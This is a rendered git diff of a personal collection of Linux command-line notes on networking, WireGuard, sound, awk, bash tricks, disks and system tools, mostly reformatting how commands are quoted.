```bash > certbot --nginx -d *mysite.tk* --non-interactive --agree-tos -m *webmaster@email.tld*
certbot --nginx -d *mysite.tk* --non-interactive --agree-tos -m *webmaster@email.tld*
```
When you are asked about redirecting from HTTP to HTTPS, say yes (option "2"). When you are asked about redirecting from HTTP to HTTPS, say yes (option "2").

View File

@ -6,87 +6,65 @@ tags: [ "Documentation", "Networking" ]
Stats on local net usage within domain. Stats on local net usage within domain.
```bash > iftop -p -n
iftop -p -n
```
```bash > whois domain.com
whois domain.com
```
Info on domain, whether it's taken, et c.: Info on domain, whether it's taken, et c.:
```bash > dig domain.com
dig domain.com
```
```bash > ifconfig
ifconfig
```
Versatile wifi tool: Versatile wifi tool:
```bash > nmcli
nmcli
```
# Examples # Examples
You want to connect to the internet. You want to connect to the internet.
```bash > sudo iwconfig
sudo iwconfig
```
Get knowledge of wireless state. The output might be: Get knowledge of wireless state. The output might be:
> wlp3s0 IEEE 802.11 ESSID:"Gandalf WajFaj" `wlp3s0 IEEE 802.11 ESSID:"Gandalf WajFaj"`
> Mode:Managed Frequency:2.412 GHz Access Point: 10:05:01:90:AC:1A `Mode:Managed Frequency:2.412 GHz Access Point: 10:05:01:90:AC:1A`
> Bit Rate=144.4 Mb/s Tx-Power=15 dBm `Bit Rate=144.4 Mb/s Tx-Power=15 dBm`
> Retry short limit:7 RTS thr:off Fragment thr:off `Retry short limit:7 RTS thr:off Fragment thr:off`
> Encryption key:off `Encryption key:off`
> Power Management:on `Power Management:on`
> Link Quality=64/70 Signal level=-46 dBm `Link Quality=64/70 Signal level=-46 dBm`
> Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag `Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag`
> Tx excessive retries:0 Invalid misc:363 Missed beacon `Tx excessive retries:0 Invalid misc:363 Missed beacon`
This tells you that your ESSID is 'Gandalf WajFaj', and the access point name is 10:05:...... This tells you that your ESSID is 'Gandalf WajFaj', and the access point name is 10:05:......
```bash > nmcli radio
nmcli radio
```
You get an overview of your radio devices. You get an overview of your radio devices.
You're told that eth0 deals with your ethernet and `wlan0` deals with wifi. You're told that eth0 deals with your ethernet and `wlan0` deals with wifi.
`wlan0` is a file which represents your wifi device. `wlan0` is a file which represents your wifi device.
```bash > nmcli wlan0 wifi rescan
nmcli wlan0 wifi rescan
```
```bash > nmcli device wifi list
nmcli device wifi list
```
Now to connect. Now to connect.
```bash > nmcli device wifi connect [SSID] [your password] [wifi password]
nmcli device wifi connect [SSID] [your password] [wifi password]
```
Alternatively, you can use Alternatively, you can use
```bash > nmcli -ask device wifi connect [SSID]
nmcli -ask device wifi connect [SSID]
```
And it'll ask for your password, so you're not typing it in in full view. And it'll ask for your password, so you're not typing it in in full view.

View File

@ -1,6 +1,6 @@
--- ---
title: "wireguard" title: "wireguard"
tags: [ "Documentation", "Networking", "VPN" ] tags: [ "Documentation", "Networking" ]
--- ---
<!-- <!--
from from
@ -11,25 +11,16 @@ https://engineerworkshop.com/blog/how-to-set-up-wireguard-on-a-raspberry-pi/
Install `wireguard-tools` on the server. Install `wireguard-tools` on the server.
```bash > sudo -i
sudo -i
```
```bash > cd /etc/wireguard
cd /etc/wireguard
```
umask 077 umask 077
```bash > wg genkey | tee server_private_key | wg pubkey > server_public_key
wg genkey | tee server_private_key | wg pubkey > server_public_key
```
```bash > wg genkey | tee client_private_key | wg pubkey > client_public_key
wg genkey | tee client_private_key | wg pubkey > client_public_key
```
```bash
echo " echo "
[Interface] [Interface]
Address = 10.0.0.1/24 Address = 10.0.0.1/24
@ -44,23 +35,14 @@ wg genkey | tee client_private_key | wg pubkey > client_public_key
PublicKey = $(cat client_public_key) PublicKey = $(cat client_public_key)
AllowedIPs = 10.0.0.2/32 AllowedIPs = 10.0.0.2/32
" > /etc/wireguard/wg0.conf " > /etc/wireguard/wg0.conf
```
```bash > echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/wg.conf
echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/wg.conf
```
```bash > systemctl enable --now wg-quiqck@wg0
systemctl enable --now wg-quiqck@wg0
```
```bash > chown -R root:root /etc/wireguard/
chown -R root:root /etc/wireguard/
```
```bash > chmod -R og-rwx /etc/wireguard/\*
chmod -R og-rwx /etc/wireguard/\*
```
Forward traffic from port 51900 to the server. Forward traffic from port 51900 to the server.
@ -98,6 +80,4 @@ Add multiple peers by copying the `[peer]` section (they each get called `peer`)
Make a standard client configuration, then: Make a standard client configuration, then:
```bash > qrencode -t ansiutf8 < /etc/wireguard/mobile_user.conf
qrencode -t ansiutf8 < /etc/wireguard/mobile_user.conf
```

View File

@ -4,41 +4,29 @@ tags: [ "Documentation", "Networking" ]
--- ---
# Check wifi's working # Check wifi's working
```bash > lspci -k
lspci -k
```
Or for usb wifi: Or for usb wifi:
```bash > dmesg | grep usbcore
dmesg | grep usbcore
```
... and hopefully it'll say the new interface is registered. ... and hopefully it'll say the new interface is registered.
# Check if a wifi interface has been created # Check if a wifi interface has been created
```bash > ip link
ip link
```
or or
```bash > iw dev
iw dev
```
Assuming it's wlan0, bring it up with Assuming it's wlan0, bring it up with
```bash > ip link set wlan0 up
ip link set wlan0 up
```
Error messages probably means your wireless chipset requires a firmware to function. In this case, check the kernel messages for firmware being loaded Error messages probably means your wireless chipset requires a firmware to function. In this case, check the kernel messages for firmware being loaded
```bash > dmesg | grep firmware
dmesg | grep firmware
```
# Utilities # Utilities
@ -48,15 +36,11 @@ iw doesn't do wpa/wpa2. wpa_supplicant does everything. iwd does everything ex
Get the link status: Get the link status:
```bash > iw dev wlan0 link
iw dev wlan0 link
```
Scan for available points: Scan for available points:
```bash > iw dev wlan0 scan
iw dev wlan0 scan
```
The connecting commands do not cover wpa2. The connecting commands do not cover wpa2.

View File

@ -7,87 +7,57 @@ wpa_supplicant configurations are stored in /etc/wpa_supplicant/wpa_supplicant-w
## WiFi Connection ## WiFi Connection
```bash > wpa_cli
wpa_cli
```
Once in, scan the network, add an empty place to store credentials, then input them. Once in, scan the network, add an empty place to store credentials, then input them.
```bash > scan
scan
```
```bash > scan_results
scan_results
```
```bash > add_network
add_network
```
This outputs a network number, e.g. '3'. This is the new network you'll work with. This outputs a network number, e.g. '3'. This is the new network you'll work with.
```bash > set_network *3* ssid *"Kosachok Cafe"*
set_network *3* ssid *"Kosachok Cafe"*
```
```bash > set_network 3 psk *"Kosachok2019"*
set_network 3 psk *"Kosachok2019"*
```
OR (for no password) OR (for no password)
```bash > set_network *3* key_mgmt NONE
set_network *3* key_mgmt NONE
```
```bash > enable_network 3
enable_network 3
```
```bash > save_config
save_config
```
This takes a while to connect, so to speed things up, restart the service: This takes a while to connect, so to speed things up, restart the service:
```bash > sudo sv restart wpa_supplicant
sudo sv restart wpa_supplicant
```
# Scripts # Scripts
You can script like this: You can script like this:
```bash > wpa_cli add_network
wpa_cli add_network
```
That returns an ID, so you can say: That returns an ID, so you can say:
```bash > newNetwork="$(wpa_cli add_network)"
newNetwork="$(wpa_cli add_network)"
```
Then `$newNetwork` would equal that number, and you can add/ remove networks with scripts. Then `$newNetwork` would equal that number, and you can add/ remove networks with scripts.
But remember to escape the quotes, so adding a network would be: But remember to escape the quotes, so adding a network would be:
```bash > wpa_cli set_network *3* psk *\""passphrase"\"*
wpa_cli set_network *3* psk *\""passphrase"\"*
```
## Generating Keys Manually ## Generating Keys Manually
```bash > wpa_passphrase [ssid] [password]
wpa_passphrase [ssid] [password]
```
For example: For example:
```bash > wpa_passphrase 'Cafe Kosachok' 'Kosachok2019'
wpa_passphrase 'Cafe Kosachok' 'Kosachok2019'
```
This then spills the relevant psk and such to be entered into the wpa_supplicant configuration file. This then spills the relevant psk and such to be entered into the wpa_supplicant configuration file.
@ -95,8 +65,6 @@ If you encounter problems, you will probably need to delete the old device pid i
Next up, start wpa_supplicant: Next up, start wpa_supplicant:
```bash > wpa_supplicant -B -iwlan0 -c /etc/wpa_supplicant/wpa_supplicant-wlan0
wpa_supplicant -B -iwlan0 -c /etc/wpa_supplicant/wpa_supplicant-wlan0
```
The -B flag runs this as a background process. Remove this to see real-time output in order to solve problems. The -i flag denotes the physical device used for the wifi. The -c flag points to the configuration file for use. The -B flag runs this as a background process. Remove this to see real-time output in order to solve problems. The -i flag denotes the physical device used for the wifi. The -c flag points to the configuration file for use.

27
new.sh
View File

@ -1,27 +0,0 @@
#!/bin/sh
echo Select a category
category="$(find . -type d -printf '%P\n' | fzy)"
[ ! -d "$category" ] && mkdir "$category"
echo Select a name
read name
filePath="$category/$(echo $name | sed 's/ /_/g').md"
tagsList="$(echo \"$category | sed 's#\/#", "#g')\""
[ -e "$filePath" ] && $EDITOR $filePath && exit 0
echo "---
title: \"$name\"
tags: [ $tagsList ]
---
" > "$filePath"
$EDITOR "$filePath"

View File

@ -9,15 +9,11 @@ Check with `which pulseaudio`. No output means you need to use alsa (below).
# Volume Control # Volume Control
```bash > pactl set sink @DEFAULT_SINK@ +5%
pactl set sink @DEFAULT_SINK@ +5%
```
Find working outputs: Find working outputs:
```bash > aplay -l
aplay -l
```
#Sound Settings #Sound Settings
@ -30,9 +26,7 @@ amixer scontrols
# Change a Sound setting # Change a Sound setting
```bash > amixer set Master 5%-
amixer set Master 5%-
```
# Restart everything # Restart everything
@ -42,34 +36,22 @@ pulseaudio -k && sudo alsa force-reload
Toggle, mute, increase or decrase audio: Toggle, mute, increase or decrase audio:
```bash > amixer sset Master toggle
amixer sset Master toggle
```
```bash > amixer sset Master mute
amixer sset Master mute
```
```bash > amixer sset Master 5%+
amixer sset Master 5%+
```
```bash > amixer sset Master 5%-
amixer sset Master 5%-
```
# Finicky Sound Cards # Finicky Sound Cards
Start with: Start with:
```bash > alsamixer
alsamixer
```
Then press `F6` to see available Sound cards. Then press `F6` to see available Sound cards.
If you find a Sound card called 'PinePhone', then you can select an audio source there, and adjust with: If you find a Sound card called 'PinePhone', then you can select an audio source there, and adjust with:
```bash > amixer -c PinePhone set 'Headphone' 50%
amixer -c PinePhone set 'Headphone' 50%
```

View File

@ -6,13 +6,9 @@ tags: [ "Documentation", "Sound" ]
Add your user to the audio group, and install `festival-english`. Add your user to the audio group, and install `festival-english`.
```bash > echo "(Parameter.set 'Audio_Method 'Audio_Command)" >> /usr/share/festival/voices.scm
echo "(Parameter.set 'Audio_Method 'Audio_Command)" >> /usr/share/festival/voices.scm
```
```bash > echo "(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")" /usr/share/festival/voices.scm
echo "(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")" /usr/share/festival/voices.scm
```
# Set Default Voice # Set Default Voice

View File

@ -8,47 +8,45 @@ tags: [ "Documentation", "Sound" ]
This is a minimum configuration file for /etc/mpd.conf This is a minimum configuration file for /etc/mpd.conf
```
> music_directory "/var/lib/mpd/music" music_directory "/var/lib/mpd/music"
>
> playlist_directory "/var/lib/mpd/playlists"
>
> db_file "/var/lib/mpd/mpd.db"
>
>
> pid_file "/run/mpd/mpd.pid"
>
> state_file "/var/lib/mpd/mpdstate"
>
>
> user "mpd"
>
> audio_output {
> type "pulse"
> name "My Pulse Output"
> }
>
> audio_output {
> type "fifo"
> name "my_fifo"
> path "/tmp/mpd.fifo"
> format "44100:16:2"
> }
playlist_directory "/var/lib/mpd/playlists"
db_file "/var/lib/mpd/mpd.db"
pid_file "/run/mpd/mpd.pid"
state_file "/var/lib/mpd/mpdstate"
user "mpd"
audio_output {
type "pulse"
name "My Pulse Output"
}
audio_output {
type "fifo"
name "my_fifo"
path "/tmp/mpd.fifo"
format "44100:16:2"
}
```
You can use alsa instead of pulse, but don't unless you're on a Pi. You can use alsa instead of pulse, but don't unless you're on a Pi.
Since this is run as the mpd user, you'll need to grant that user pulse acceess, often with the user-group `pulse` or `pulse-access`, but your distro may vary. Since this is run as the mpd user, you'll need to grant that user pulse acceess, often with the user-group `pulse` or `pulse-access`, but your distro may vary.
```bash > sudo usermod -aG pulse-access mpd
sudo usermod -aG pulse-access mpd
```
Working with mpd will be easier if you have access to its files, so maybe: Working with mpd will be easier if you have access to its files, so maybe:
```bash > sudo usermod -aG mpd $USER
sudo usermod -aG mpd $USER
```
@ -56,7 +54,5 @@ sudo usermod -aG mpd $USER
Install `mpd-notification` and then start the service: Install `mpd-notification` and then start the service:
```bash > systemctl --user enable mpd-notification
systemctl --user enable mpd-notification
```

View File

@ -17,9 +17,7 @@ I couldn't change volume, so in mpd.conf I uncommented the pulse audio lines and
Also, make sure the user mpd is part of the group pulse: Also, make sure the user mpd is part of the group pulse:
```bash > sudo adduser mpd pulse
sudo adduser mpd pulse
```
In the audio_output section, try setting the mix_type to "software", not "hardware". In the audio_output section, try setting the mix_type to "software", not "hardware".

View File

@ -8,33 +8,24 @@ tags: [ "Documentation", "System" ]
Install: Install:
```bash > yay -S simple-mtpfs
yay -S simple-mtpfs
```
List available phones: List available phones:
```bash > simple-mtpfs -l
simple-mtpfs -l
```
Make a mount point: Make a mount point:
```bash > mkdir phone
mkdir phone
```
Check your phone, and tell it to allow access to the USB. Check your phone, and tell it to allow access to the USB.
```bash > simple-mtpfs --device 1 phone
simple-mtpfs --device 1 phone
```
## Stop ## Stop
```bash > fusermount -u phone
fusermount -u phone
rmdir phone rmdir phone
```

View File

@ -8,55 +8,39 @@ See a file's contents:
Return full contents of a string: Return full contents of a string:
```bash > awk '{ print }' file
awk '{ print }' file
```
Print the first and second column: Print the first and second column:
```bash > awk '{print$1$2}'
awk '{print$1$2}'
```
Return every line with the word 'the' (like grep): Return every line with the word 'the' (like grep):
```bash > awk '/the/{print}' file
awk '/the/{print}' file
```
Print everything containing a lowercase letter: Print everything containing a lowercase letter:
```bash > awk '/[a-z]/{print}' file
awk '/[a-z]/{print}' file
```
Same with numbers [0-9], or using a caret we can show lines starting with a number - ^[0-9], or ending with an uppercase letter - $[A-Z]. Same with numbers [0-9], or using a caret we can show lines starting with a number - ^[0-9], or ending with an uppercase letter - $[A-Z].
# Conditionals # Conditionals
```bash > awk '{ if($1 ~ /123/) print }' file
awk '{ if($1 ~ /123/) print }' file
```
Check if the first column is equal to 1 or 2 or 3, and if so then print that line. Check if the first column is equal to 1 or 2 or 3, and if so then print that line.
Grep for 'hawk' in a story: Grep for 'hawk' in a story:
```bash > awk '/hawk/' story.txt
awk '/hawk/' story.txt
```
Return any line with one or more "&" sequences: Return any line with one or more "&" sequences:
```bash > awk '/&+/' script.sh
awk '/&+/' script.sh
```
The pipe is used for 'or', so 'Orcs or drums' would be: The pipe is used for 'or', so 'Orcs or drums' would be:
```bash > awk '/Orcs|Drums/' story.txt
awk '/Orcs|Drums/' story.txt
```
Basic variables are: Basic variables are:

View File

@ -1,18 +1,46 @@
--- ---
title: "Terminal Tips" title: "bash_tricks"
tags: [ "Documentation", "System" ] tags: [ "Documentation", "System" ]
--- ---
## Track Live Changes # Track Live Changes
See changes in a file as it changes: See changes in a file as it changes:
`tail -f *somefile*` > tail -f *somefile*
See changes in a directory, as it changes: See changes in a directory, as it changes:
`watch -d ls *directory*` > watch -d ls *directory*
## Automatic Renaming # Automatic mp3 Tagging
> !/usr/bin/env bash
> IFS=$'\n'
> for f in $(find . -type f); do
> id3tool $f -t $(basename $f | cut -d- -f3 | sed 's/\.[^\,]*$//')
> done
One can also use
> sed s/\,[^\.]\*$//
... in order to avoid multiple full stops messing up syntax.
We can use `\.` as a literal full stop.
`[^ ]` means anything other than the containing character, so `[^\.]` would mean `anything other than a full stop'.
`*` in sed means this character is repeated any number of times, including 0, so files with no `.` character would still be processed fine.
`$` means `end of the line'.
Apparently sed uses `regex, not globing'.
Regular expressions (``regex'') looks for patterns and is used with find and grep. It interprets `*' as a wildcard, `?' as a single-character wildcard, and [12,1,2] as characters matching one of a set (in this case, `12 or 1 or 2 but not 21'].
If the shell is set to find file ``a*b.txt'' then it will pass this first to regex, and hit items like `aab.txt' and `abb.txt'. If it finds nothing, it'll then use globbing, and interpret `a*b.txt' literally.
# Automatic Renaming
There are a bunch of files: There are a bunch of files:
@ -25,49 +53,50 @@ There are a bunch of files:
Goal: swap the word "Column" for "Alice" in all files. Goal: swap the word "Column" for "Alice" in all files.
``` > IFS=$'\n'
IFS=$'\n'
for f in $(find . -name "Col*"); do > for f in $(find . -name "Col*"); do
mv "$f" $(echo "$f" | sed s/Column/Alice/)
done > mv "$f" $(echo "$f" | sed s/Column/Malin/)
```
> done
IFS is the field separator. This is required to denote the different files as marked by a new line, and not the spaces. IFS is the field separator. This is required to denote the different files as marked by a new line, and not the spaces.
## Arguments and Input # Arguments and Input
The `rm' program takes arguments, but not `stdin' from a keyboard, and therefore programs cannot pipe results into rm. The `rm' program takes arguments, but not `stdin' from a keyboard, and therefore programs cannot pipe results into rm.
That said, we can sometimes pipe into rm with `xargs rm' to turn the stdin into an argument. For example, if we have a list of files called `list.txt' then we could use cat as so: That said, we can sometimes pipe into rm with `xargs rm' to turn the stdin into an argument. For example, if we have a list of files called `list.txt' then we could use cat as so:
```bash > cat list.txt | xargs rm
cat list.txt | xargs rm
```
... *However*, this wouldn't work if spaces were included, as rm would take everything literally. ... *However*, this wouldn't work if spaces were included, as rm would take everything literally.
## Numbers # Numbers
Add number to variables with: Add number to variables with:
* `let "var=var+1"` * > let "var=var+1"
* `let "var+=1"` * > let "var+=1"
* `let "var++"` * > let "var++"
* `((++var))` * > ((++var))
* `((var=var+1))` * > ((var=var+1))
* `((var+=1))` * > ((var+=1))
* `var=$(expr $var + 1)` * > var=$(expr $var + 1)
`((n--))` works identically. ((n--)) works identically.
## Finding Duplicate Files # Finding Duplicate Files
```bash > find . -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 15 > all-files.txt
find . -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 15 > all-files.txt
```
## Output random characters ... add blank line to top of first file.
```bash > awk '/^$/{getline;print;}' all-files.txt > uniq.txt
cat /dev/urandom | tr -cd [:alnum:] | dd bs=1 count=200 status=none && echo
``` > diff all-files.txt uniq.txt | grep '/' | cut -d '.' -f 2,3,4,5 | sed 's#/##' | sed 's/ /\\ /g' | xargs rm
Output random characters.
> cat /dev/urandom | tr -cd [:alnum:] | dd bs=1 count=200 status=none && echo

View File

@ -4,9 +4,7 @@ tags: [ "Documentation", "System" ]
--- ---
Convert a text file from one encoding type to another with: Convert a text file from one encoding type to another with:
```bash > iconv -f ascii -t utf8 oldfilename > newfilename
iconv -f ascii -t utf8 oldfilename > newfilename
```
Available options are: Available options are:
@ -20,7 +18,5 @@ Available options are:
Generate a full list of encoding types available with: Generate a full list of encoding types available with:
```bash > iconv -l
iconv -l
```

49
system/compression.md Normal file
View File

@ -0,0 +1,49 @@
---
title: "compression"
tags: [ "Documentation", "System" ]
---
# Tar
## Basics
* --create -c
* --list -t
* --extract --get -x
* --file=file -f file
Look in tar file:
> tar -tf filename.tar.gz
Look in detail:
> tar -tvf filename.tar.gz
# Zip
Zip file:
> zip name.zip file
Zip directory:
> zip -r name.zip dir
Update existing entries.
> zip -ru name.zip dir file1 file2
Delete file from the zipfile.
> zip -d name.zip dfile
# 7z for .img.xz
> 7z x file.img.xz

View File

@ -9,37 +9,27 @@ Install the package `xdg-utils`, then make very liberal use of the tab button.
Ask what type of application opens an mkv file: Ask what type of application opens an mkv file:
```bash > xdg-mime query default video/mkv
xdg-mime query default video/mkv
```
Same with pdf: Same with pdf:
```bash > xdg-mime query default application/pdf
xdg-mime query default application/pdf
```
Ask what file-type `book.pdf` uses. Ask what file-type `book.pdf` uses.
```bash > xdg-mime query filetype *book.pdf*
xdg-mime query filetype *book.pdf*
```
## Set ## Set
Set the mime type of mp4 videos to mpv. Set the mime type of mp4 videos to mpv.
```bash > xdg-mime default mpv.desktop video/mp4
xdg-mime default mpv.desktop video/mp4
```
You'll need to use the tab key a lot here, and remember many items start with `org`. You'll need to use the tab key a lot here, and remember many items start with `org`.
You can use an asterisk for everything in a category. You can use an asterisk for everything in a category.
```bash > xdg-mime default org.gnome.font-viewer.desktop font/\*
xdg-mime default org.gnome.font-viewer.desktop font/\*
```
This often won't work as expected, because some fonts will have the type `application` rather than `font`. This often won't work as expected, because some fonts will have the type `application` rather than `font`.

51
system/e-mail.md Normal file
View File

@ -0,0 +1,51 @@
---
title: "e-mail"
tags: [ "Documentation", "System" ]
---
# Terminology
|MTA | Mail transfer agent |
|POP3| Post Office Protocol 3 |
|SMTP| Simple Mail Transfer Protocol|
|IMAP| Internet Message Access Protocol|
There are a number of Linux e-mail agents - postfix, sendmail, exim (insecure) and qmail (dead).
# Programs
> sudo apt-get install postfix mailutils
This will register your domain in the /etc/postfix/main.cf file.
# Internal Mail
> sendmail -t roach-1
Write a message and stop composition with Ctrl+D.
The mail is kept in /var/mail/ and you can read it with:
> mail
# Aliases
Aliases are groups of mail recipients. The lists are kept under /etc/aliases.
`crew: matthew@gmail.com,ghost,danial@yahoo.com`
Update the list of aliases from this with:
> sudo newaliases
Then you can:
> sendmail -t crew
... and send to the whole crew.
View pending e-mails using:
> mailq

View File

@ -1,5 +1,5 @@
--- ---
title: "$EDITOR" title: "editors"
tags: [ "Documentation", "System" ] tags: [ "Documentation", "System" ]
--- ---
The System's default text editor can be defined within /etc/profile. It's given the variable `EDITOR`. The System's default text editor can be defined within /etc/profile. It's given the variable `EDITOR`.
@ -16,12 +16,9 @@ export VISUAL=$EDITOR
Then reload that profile with: Then reload that profile with:
```bash > source /etc/profile
source /etc/profile
```
If you want to ensure `nano` never appears again: If nano still pops up:
> sudo ln -sf $(which vim) $(which nano)
```bash
sudo ln -sf $(which vim) $(which nano)
```

45
system/elvish.md Normal file
View File

@ -0,0 +1,45 @@
---
title: "elvish"
tags: [ "Documentation", "System" ]
---
# Setup
To run a shell as non-root, the shell must be listed in /etc/shells.
# Basics
Elvish has an inbuilt calculator.
Basic commands include: *, ^, +. E.g.:
> 2*4+2
#Lists
li = [orcs hobbits elves]
Then either
> echo $li
> echo $@li
> echo $path
# Environmental Variables
Summon with E:, e.g.
> echo $E:USER
# Commands
C-n - File manager
C-l - Recent locations
C-r - Recent commands
See all binding with:
> pprint $edit:insert:binding

View File

@ -1,38 +1,25 @@
---
title: "exiftool"
tags: [ "Documentation", "Metadata" ]
---
Find metadata. Find metadata.
```bash > exiftool image.jpg
exiftool image.jpg
```
Find info on all images in current directory. Find info on all images in current directory.
```bash > exiftool -ext .png .
exiftool -ext .png .
```
You can make this recurring with the -r switch. You can make this recurring with the -r switch.
And overwrite all metadata: And overwrite all metadata:
```bash > exiftool -all= -overwrite_original -ext jpg .
exiftool -all= -overwrite_original -ext jpg .
```
Or just GPS data: Or just GPS data:
```bash > exiftool -gps:all= *.jpg
exiftool -gps:all= *.jpg
```
You can also use the imagemagick tool: You can also use the imagemagick tool:
```bash > identify -verbose
identify -verbose
```

View File

@ -15,9 +15,11 @@ The ordering of `/etc/fstab` is
E.g.: E.g.:
> UUID=877f14e8-4738-46b0-884f-ba330dad1a7d /mnt/biggie ext4 nofail,rw,relatime 0 2 ```
> UUID=877f14e8-4738-46b0-884f-ba330dad1a7d /mnt/biggie ext4 nofail,rw,relatime 0 2
> UUID=B21648C416488AF5 /mnt/share ntfs nofail,rw,nosuid,nodev,user_id=0,group_id=0,allow_other,blksize=4096 0 0
UUID=B21648C416488AF5 /mnt/share ntfs nofail,rw,nosuid,nodev,user_id=0,group_id=0,allow_other,blksize=4096 0 0
```
## 5: Dump ## 5: Dump

View File

@ -4,38 +4,26 @@ tags: [ "Documentation", "System" ]
--- ---
Check which kernet modules are loaded into memory Check which kernet modules are loaded into memory
```bash > sudo /sbin/lsmod
sudo /sbin/lsmod
```
Check which virtual box modules are loaded into memory Check which virtual box modules are loaded into memory
```bash > sudo /sbin/lsmod | grep vbox
sudo /sbin/lsmod | grep vbox
```
Virtual box is using vboxpci, vboxnetadp, vboxnetflt, vboxdr. Virtual box is using vboxpci, vboxnetadp, vboxnetflt, vboxdr.
Look at what's claiming wifi: Look at what's claiming wifi:
```bash > sudo lshw -C network
sudo lshw -C network
```
If this shows that the device is 'unclaimed' then it's time to add a module, e.g. ath9k. If this shows that the device is 'unclaimed' then it's time to add a module, e.g. ath9k.
```bash > sudo modprobe ath9k
sudo modprobe ath9k
```
Modules can also be 'restarted' by removing and adding them, e.g. the video module, 'uvcvideo': Modules can also be 'restarted' by removing and adding them, e.g. the video module, 'uvcvideo':
```bash > sudo rmmod uvcvideo
sudo rmmod uvcvideo
```
```bash > sudo modprobe uvcvideo
sudo modprobe uvcvideo
```

View File

@ -1,75 +0,0 @@
---
title: "lf - The Light File Manager"
tags: [ "Documentation", "File Browser" ]
---
## Config File
If you don't have a `~/.config/lf/lfrc` file, you can probably find an example in `/usr/share/examples/lf`.
```bash
cp -r /usr/share/examples/lf ~/.config/
```
Go straight to root with two keys.
```bash
map g/ cd /
```
Have lf open a file with the default program when you press 'o', using the program `mimeo`.
```bash
map o &mimeo $f
```
Change that default text editor to look at the extension first.
```bash
cmd open ${{
case $(file --mime-type $f -b) in
application/x-sc) sc-im $fx;;
text/html) w3m $fx;;
text/*) $EDITOR $fx;;
video/*) nohup mpv $fx --really-quiet >/dev/null &;;
*) nohup $OPENER $fx >/dev/null &;;
esac
}}
```
The idea here is to use the default `$OPENER` for lf, but first check extensions.
Note the extra `mpv` commands to leave the video to play, without blocking the terminal.
### Interesting Options
You can set the screen ratio with
`set ratios 1:2:3`
That leaves it as a small initial pane, a medium pane, and a large pane for file previews.
### Rename
The standard renaming is bad, because you have to re-type the file extension.
Use this instead:
```bash
# rename current file without overwrite
cmd rename %echo 'name: ' ; read name ; extension="${f##*.}" && newname="$name.$extension"; [ "$f" = "$extension" ] && newname="$name"; [ ! -e "$newname" ] && mv "$f" "$newname" || echo file exists
map r push :rename<enter>
```
If you try to rename `image_1.png` with this command, you can type in `cats`, and the result will be `cats.png`.
## Image Previews
First, install `ueberzug` (to show images).
Then clone the lfrun repo.
```bash
git clone https://github.com/cirala/lfimg.git
cd lfimg
sudo make install
```

View File

@ -7,9 +7,7 @@ tags: [ "Documentation", "RAID" ]
You will need 4 disks and the `mdadm` package. You will need 4 disks and the `mdadm` package.
The total size will be equal to the disks x 3, because one will be used for redundancy. The total size will be equal to the disks x 3, because one will be used for redundancy.
```bash > sudo mdadm --create --verbose /dev/*md127* --level=5 --raid-devices=*4* */dev/sdb /dev/sdc /dev/sdd /dev/sde*
sudo mdadm --create --verbose /dev/*md127* --level=5 --raid-devices=*4* */dev/sdb /dev/sdc /dev/sdd /dev/sde*
```
Note the variable parts: Note the variable parts:
@ -19,23 +17,17 @@ Note the variable parts:
Now look at how the raid status: Now look at how the raid status:
```bash > cat /proc/mdstat
cat /proc/mdstat
```
This will increase until the entire thing is fine. This will increase until the entire thing is fine.
Check the health of your `mdadm` array: Check the health of your `mdadm` array:
```bash > sudo mdadm --detail /dev/md127
sudo mdadm --detail /dev/md127
```
You should see `State : clean`. If you see it is `degraded`, then a disk has broken. You should see `State : clean`. If you see it is `degraded`, then a disk has broken.
## Replacing a Disk ## Replacing a Disk
```bash > sudo mdadm --add /dev/md127 /dev/sdb1
sudo mdadm --add /dev/md127 /dev/sdb1
```

View File

@ -4,9 +4,7 @@ tags: [ "Documentation", "System" ]
--- ---
# FDisk Basics # FDisk Basics
```bash > sudo fdisk /dev/sda
sudo fdisk /dev/sda
```
- m for help. - m for help.
@ -31,21 +29,15 @@ fdisk will not help with a GPT formatted drive. For this, use gdisk, which is m
Now that we have a partition, we can make it into a fileSystem. Most will use: Now that we have a partition, we can make it into a fileSystem. Most will use:
```bash > sudo mkfs -t ext4 /dev/sdc1
sudo mkfs -t ext4 /dev/sdc1
```
or if you're making a swap partition, you can use: or if you're making a swap partition, you can use:
```bash > sudo mkswap /dev/sdb2
sudo mkswap /dev/sdb2
```
or for the reiser fileSystem, we can use: or for the reiser fileSystem, we can use:
```bash > sudo mkreiserfs /dev/sdc2
sudo mkreiserfs /dev/sdc2
```
# File System Types # File System Types
@ -61,87 +53,61 @@ sudo mkreiserfs /dev/sdc2
# Parted # Parted
```bash > sudo parted /dev/sdb
sudo parted /dev/sdb
```
# Monitoring # Monitoring
Look at physical and virtual partitions: Look at physical and virtual partitions:
```bash > df -h
df -h
```
or divide things by inode - the thing which records where files are? or divide things by inode - the thing which records where files are?
```bash > df -i
df -i
```
Examine a fileSystem with: Examine a fileSystem with:
```bash > sudo dumpe2fs /dev/sda1 | less
sudo dumpe2fs /dev/sda1 | less
```
# Prevention # Prevention
There are multiple programs which work mostly the same way. There are multiple programs which work mostly the same way.
```bash > sudo tune2fs -c 30 /dev/sda1
sudo tune2fs -c 30 /dev/sda1
```
This will check sda1 every 30 boots. It can also be checked every month. This will check sda1 every 30 boots. It can also be checked every month.
```bash > sudo tune2fs -i 1m /dev/sda1
sudo tune2fs -i 1m /dev/sda1
```
This thing can also make a new label for the System: This thing can also make a new label for the System:
```bash > sudo tune2fs -L new_name /dev/sdb3
sudo tune2fs -L new_name /dev/sdb3
```
# Repair # Repair
Start by unmounting the fileSystem. Start by unmounting the fileSystem.
```bash > sudo umount /dev/sdc1
sudo umount /dev/sdc1
```
Then it's time to check. Then it's time to check.
```bash > sudo fsck /dev/sdc1
sudo fsck /dev/sdc1
```
And possibly repair damage: And possibly repair damage:
```bash > e2fsck -p /dev/sdc1
e2fsck -p /dev/sdc1
```
or the same with: or the same with:
```bash > sudo debugfs /dev/sdc1
sudo debugfs /dev/sdc1
```
# Mounting # Mounting
You can mount with a specified filetype with: You can mount with a specified filetype with:
```bash > sudo mount -t ext3 /dev/sdc2 /mnt/stick
sudo mount -t ext3 /dev/sdc2 /mnt/stick
```
or if you don't know the type, just try the lot: or if you don't know the type, just try the lot:
